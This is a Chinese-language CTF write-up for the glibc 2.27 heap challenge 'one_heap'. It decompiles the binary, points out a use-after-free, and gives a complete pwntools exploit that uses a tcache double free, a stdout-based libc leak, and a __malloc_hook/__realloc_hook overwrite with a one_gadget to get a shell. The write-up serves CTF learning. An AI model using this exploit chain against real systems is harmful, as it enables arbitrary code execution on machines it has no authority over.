点击此处获得更好的阅读体验
解题思路
题目看起来并不难,逻辑很简单,并且给了libc是2.27的所以自然的联想到又tcache,接下来进行详细的分析。
静态分析
main
逻辑很简单这里我进行了一个函数名的改变看起来清楚一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int i; flash(); while ( 1 ) { for ( i = menu(); i != 1; i = menu() ) { if ( i != 2 ) exit(0); delete(); } add(a1, a2); } }
|
简单的choice逻辑没有什么问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| __int64 sub_C70() { unsigned __int64 v0; __int64 result; unsigned __int64 v2; v0 = __readfsqword(0x28u); puts("1. new"); puts("2. delete"); _printf_chk(1LL, "Your choice:"); v2 = __readfsqword(0x28u); result = v2 ^ v0; if ( v2 == v0 ) result = sub_C10(); return result;
|
delete
这里是主要的问题点,存在一个uaf的漏洞但是同样对free的次数存在限制总共只能free 4次,然后free的时候是没有idx选择,每次ptr位置只有一个堆块的地址。
1 2 3 4 5 6 7 8 9 10 11
| unsigned __int64 sub_D90() { unsigned __int64 v1; v1 = __readfsqword(0x28u); if ( !dword_202014 ) exit(0); free(ptr); puts("Done!"); --dword_202014; return __readfsqword(0x28u) ^ v1; }
|
add
这里任意malloc的大小存在限制,并且malloc的数量也是固定的,然后malloc后可以读入堆。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| unsigned __int64 add() { unsigned int v0; size_t v1; unsigned __int64 v3; v3 = __readfsqword(0x28u); if ( !dword_202010 ) LABEL_5: exit(0); _printf_chk(1LL, "Input the size:"); v0 = sub_C10(1LL, "Input the size:"); v1 = (signed int)v0; if ( v0 > 0x7F ) { puts("Invalid size!"); goto LABEL_5; } _printf_chk(1LL, "Input the content:"); ptr = malloc(v1); sub_B70(ptr, v1); puts("Done!"); --dword_202010; return __readfsqword(0x28u) ^ v3; }
|
思路分析
因为存在tcache所以这里double free利用起来会比较顺手,但是存在一个问题如何去leak。这里参考了HITCON2018的baby_tcache的leak思路,是利用覆盖stdout的write_buf实现的。
还有个问题如何能染tcache被malloc到那个位置,这里我采用的是利用堆和code段偏移来爆破几率大概是在1/4096,这个几率真的看脸了。。。
再去改写malloc_hook,这里会发现3个one都没有办法用,所以只能用realloc的trick来调整栈去getshell。
这里调试可以吧本地随机化关了,如果预期解是这样的话。。我就真的没话说了,如果这是非预期。。(对不住了出题人。。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import* context.log_level = "debug" p = process("./one_heap") a = ELF("./libc-2.27.so")
gdb.attach(p) def new(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the content:") p.sendline(content) def remove(): p.recvuntil("Your choice:") p.sendline("2") def new0(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the content:") p.send(content) new(0x60,"aaa") remove() remove() new(0x60,"\x20\x60") new(0x60,"b") raw_input() new(0x60,"\x60\x07") pay = p64(0xfbad1880) + p64(0)*3 + "\x00" new(0x60,pay) libc_addr = u64(p.recvuntil("\x7f")[8:8+6].ljust(8,"\x00"))-0x3ed8b0 print hex(libc_addr) malloc_hook = a.symbols["__malloc_hook"]+libc_addr relloc_hook = a.symbols["__realloc_hook"]+libc_addr print hex(malloc_hook) one = 0x4f2c5+libc_addr print one new(0x50,"a") remove() remove() new(0x50,p64(relloc_hook)) new(0x50,"peanuts") new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe)) print hex(one) new(0x30,"b") p.interactive()
|